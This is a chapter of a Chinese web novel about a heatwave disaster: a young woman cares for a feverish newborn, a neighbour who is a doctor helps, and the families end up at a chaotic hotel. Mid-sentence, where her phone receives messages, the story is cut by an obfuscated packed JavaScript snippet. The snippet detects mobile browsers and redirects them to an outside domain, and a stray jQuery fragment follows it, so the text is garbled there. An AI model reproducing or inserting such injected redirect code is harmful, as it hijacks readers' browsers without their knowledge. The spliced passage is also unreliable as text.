第二天,雪栀子头痛欲裂地醒来。
还没睁眼,身体的酸软感就席卷而来,闷,太闷了,呼吸都在发烫,她努力睁开眼皮,视线却是一片昏暗。
地下室没有安装天窗,完全就是一个密闭的空间,雪栀子摸索着摁下旁边桌子上台灯,却只听到开关咔嚓声,想象中的白光并未亮起。
空调也关了,看来是停电了。
视觉受阻,其他感官就变得敏感,紧接着,她摸到了自己汗津津的额头和滚烫的脸颊。
凭借着记忆,她坐起身拿到了桌子上的手机,手机屏幕亮起的微弱光芒刺得她流下了生理性眼泪。
屏幕上显示的时间是4号下午两点十六分。
居然一口气睡了快17个小时,怪不得身上这么无力,等等!
雪栀子浆糊般的大脑终于想起了小婴儿的存在,她急忙点开手机灯光找孩子。
跟她一样热得满身都是汗,面色绯红嘴唇干裂的安安躺在沙发尾端,呼吸轻浅急促,胸膛大力起伏着。
完全就是一副奄奄一息的样子。
雪栀子的心揪了起来,踉跄着抱起不知道烧了多久的婴儿爬上一楼。
相比地下室,一楼稍微凉爽一些的空气让她精神一振,映入眼帘的一楼客厅一片狼藉,破了口的落地窗前一堆玻璃碎片、泥土和垃圾。
没时间去关注这些了,怀里的小孩更重要,她快速冲进浴室拧开水龙头,把烧得滚烫的安安泡进盆里降温。
可没想到的是,水管里流出的水都是温热的。
雪栀子快速跑到客厅立柜里翻开急救箱,拿出测温计给安安检测了一下。
38.2°,低烧了!
雪栀子又顺手给自己量了,抬眼一看——40°!
真是奇了怪了,俩人一个低烧一个高烧。
按理说这么高的度数她应该感到不适,但头也不疼不晕,意识也清醒,就只有浑身无力这个症状。
她自己吞下了两粒退烧药,可又不敢随意给这么小的孩子吃药。
小婴儿此刻睁开了一道眼缝,小声地朝雪栀子哼唧了一声。
“啊呜呜呜。”
盆里的水浅浅的微,母婴店送来的宝宝浴盆很坚固好用,安安躺在浴架上,下半身浸泡在水里。
没有网络和信号,流量也用不了,无法拨打急救电话,雪栀子无头苍蝇一样转了几圈后,突然想起来隔壁家女主人就是医生,立马光着脚丫子就跑了出去。
外面骄阳似火,大地被雨水冲刷,水分又被蒸腾到天上,因为空气极其沉闷难闻,十分腥重,其中还掺杂着些其他刺鼻的气味。
雪栀子嫌弃地捂着鼻子跑出自家大门。
小区绿化好,经过昨天晚上的灾害,此刻路边的树木全倒完了,就连灌木丛都只剩根部,那些破碎的树干枝条铺满了地面,走起路来特别扎脚。
雪栀子来到右手边邻居家门口,撒眼一看邻居家更惨,倒下的大树把两扇大铁门都砸坏了,茂密的树冠挡在了门口处。
她小心踩着树干走进去,扑到门上使劲敲门:“湾湾姐!救命啊!我家里小孩发烧了!”
邻居家也是一片混乱,梁湾给躺椅上的尼六岁女儿扇扇子,婆婆躺在旁边沙发上呻吟,她老公蹲在沙发前小盆里,不断地清洗浸泡着毛巾,轮流给女儿和老妈擦身体。
听到外头叫喊,梁湾愣了一秒,扇扇子的动作放慢,“是栀子在叫我吗?她不是一个人住吗?”
“不知道啊,妈你抬下左腿。”
“语气挺着急的,周四你去问问什么情况。”
她老公周四擦了下额头的汗,手里的毛巾扔回盆里,站起身来去开门。
看面前的铁门突然被打开,雪栀子见是周四,伸着脑袋往里面看,“姐,快去我家看看吧求求了!我朋友小孩发低烧了,我不知道该怎么办了!”
她面色焦急,语气哽咽,不像说假话,梁湾一听立刻跑到门口说道:“周四,你继续给祖孙俩降温,栀子,走,快去你家!”
周四跑进屋把家里的大药箱提过来,“等等老婆把咱家药箱带上,快去吧,小孩子要紧!家里就要给我吧!”
雪栀子都快哭了,连忙道谢:“谢谢周哥和湾姐,我真是怕死了。”
梁湾右手拎着药箱,左手揽着雪栀子往外走,“别说这些了,咱们什么关系,有姐在不会出事的!”
两人急匆匆穿过混乱的路面跑进雪栀子家里,梁湾一见到躺在浴架上已经陷入昏迷的小婴儿,整个人大吃一惊。
“这么小的娃,这才出生没几天吧,哎哟娃娃真是受罪了。”
作为外科医生的梁湾因为女儿的缘故也会懂些儿科,她手脚麻利地把孩子抱起来,听了心跳检查了身体,安慰了雪栀子几句:
“放心吧,就只有低烧,他这么小,也不敢吃药,只能物理降温了。”
雪栀子紧绷的精神放松了不少,仔细听着梁湾交代。
“先贴退烧贴,栀子你赶紧带着孩子去找个宾馆休息,物业说咱们这边城区供电出问题了,没电没空调孩子睡不安稳。”
“好的,谢谢姐。”雪栀子赶忙应下,“我这就带他去看病,我去医院吧,我自己可能照顾不好。”
梁湾撕开退烧贴黏在安安额头,“别去医院了,最近生病的人特别多,医院现在爆满,走廊里都是病床,小诊所也是。你去了也挂不上号。”
雪栀子:“啊?”
梁湾把孩子往她怀里一塞,继续说道:“听说小竹和奶奶都发高烧了,你姐我是午休时间偷跑回家的,一会儿还要赶回去,你现在去都挂不上号,有关系也没用,都忙死了。”
雪栀子连忙握住她的手腕:“姐,你让姐夫开车带着我们几个去宾馆可以吗?我才考了驾照我不敢开车啊!所有费用我出钱可以吗?”
梁湾欣然应下:“行啊,走走走,锁上门去我家。”
雪栀子立马收拾好衣物和婴儿用品。
周家的公寓小别墅其实是租的,家里情况并不是很富裕,想着忍一忍来电了就好。
周竹笛和奶奶杨石头的情况也并不严重,但既然有人出费用,周四二话不说立马开着车,带着两家人去找还开业的宾馆酒店。
车子碾压着残枝断叶,摇摇晃晃的出了青山小区,载着众人往医院方向赶去——医院在另外半城区,那边电力系统仍然正常。
随着进入网络区,雪栀子的手机瞬间弹出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460250|169729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无数消息音,她随意看了一眼无非都是同学朋友和粉丝发来的。
发了条朋友圈后她关掉手机,车里开着空调,怀里的安安好受了不少,没有再继续挣扎。
只是因为失水过多又不愿意吃奶,小小一团虚弱得很,看着就让人心疼。
“吱——”
周四紧急踩下刹车,停在酒店门口。梁湾打开车门跳下去,准备扫一辆电车去医院,反正距离也不远。
因为气温太高了,已经来到了45°,有不少家里停电的都一股脑往宾馆酒店和公共场所冲,因此这间酒店门口也停了不少车。
来往人不少,现场极其吵闹,两家人抱着孩子搀着老人进了酒店,一进大厅扑面而来的凉气就让蔫巴巴的病号们舒适不少。
大厅里居然也有不少人,有很多人也不订房,就赖在沙发上,坐在大理石地面上蹭凉气,酒店经理带着几个服务员劝说,但无果后也只能放任不管了。
雪栀子用比平时贵了三倍的价格,订下了两间相邻的双人房。
在进电梯的时候,大厅里还爆发了一起打架事件,雪栀子扭头,看到了一个面色苍白,双目却瞪大如铜铃的瘦弱男人骑在另一个眼镜男身上挥拳。
周围人赶忙拉架,可那双眼布满血丝看起来神经兮兮的男人却怎么也拉不开,他一拳打碎身下男人的眼镜,拳头上扎着玻璃碎片也不停手。
“啊!我的眼睛!我的脸!啊啊啊啊!”
“快把他们拉开啊!”
“天呐……”
打人的男人太过狂躁,来劝架的一个热心肠大妈被那男地狠狠咬了一口,这哪里能忍,大妈怒上心头,一把握住男人头发,另一手狠狠扇上去。
“啪啪啪啪啪!”
直扇的那男的牙齿横飞,雪栀子看了眼大妈戴着大粗金镯的强壮手臂,心里为他默默点了根蜡烛。
惹到常年靠着年龄游走在法律边缘,广场舞一跳就是四个小时的退休大妈,小伙子真是惨了。
电梯门关上,隔绝了外头鸡飞狗跳的骚乱,铁门上映照着众人模糊的身影,雪栀子看了眼,低头调整抱孩子的姿势。
“啊!”
电梯行进到4楼突然一个抖动,雪栀子没站稳身体后仰,直撞进一个男生的怀里。
一个高大宽阔,充满清爽皂香的胸膛。
那男生扶着雪栀子站好,调整好站姿后,她立刻抱着孩子扭头,小声地道歉:“不好意思啊。”
那是一个皮肤白皙的男生,他长了张很是清俊帅气的脸蛋,染一头张扬的银色短发,两耳上扎着黑白色的耳钉。
这人穿得很是贵气潮流,社恐人看了恐潮症都要犯了。
雪栀子看他要仰头,目测这人足有190高。
高个男生居高临下地盯着雪栀子看,一言不发,不知为何,雪栀子总觉得从中看到了点生气和……委屈。
难道踩疼他了吗?
雪栀子正要道歉,那男生哼了一声,声音冷冷淡淡的,“没关系。”
刚好到了8楼,电梯门打开,男生拽了下背包系带,大踏步走了出去。
“哎,等等!”雪栀子喊他,可男生头也不回,身影很快消失在了拐角处。